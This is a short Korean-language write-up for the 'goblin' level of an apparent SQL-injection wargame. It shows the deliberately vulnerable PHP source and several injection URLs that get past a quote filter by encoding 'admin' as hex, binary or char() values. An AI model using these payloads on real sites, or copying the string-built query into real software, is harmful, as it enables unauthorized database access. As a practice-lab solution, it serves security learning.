Write-Up
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
where id='guest' and no={$_GET[no]}"; 을 보면, where 절의 id인 guest가 하드코딩되어 있다. 따라서, 파라미터 no 로 문제해결을 해야한다. 필터링 되는 문자들을 우회하여, sql injection을 진행하고자, like 구문을 사용해주었다.
/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id%20like%20admin
처음 위와 같은 payload 입력 시, clear가 되지 않았다. id like 'admin' 과 같이 입력 하면 되겠지만, 해당 문제에서는 ', "가 필터링되고 있기에 그럴 수 없었다. 그래서 아래와 같이 admin 을 16진수로 변환한 0x61646d696e 값을 입력해주었다.
/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id%20like%200x61646d696e
위 payload 입력 시, 문제를 해결할 수 있었다.
추가적으로...
/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id%20like%200b0110000101100100011011010110100101101110
/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id%20like%20char(0x61,%200x64,%200x6d,%200x69,%200x6e)
/chall/goblin_e5afb87a6716708e3af46a849517afdc.php?no=2%20or%20id%20=0x61646d696e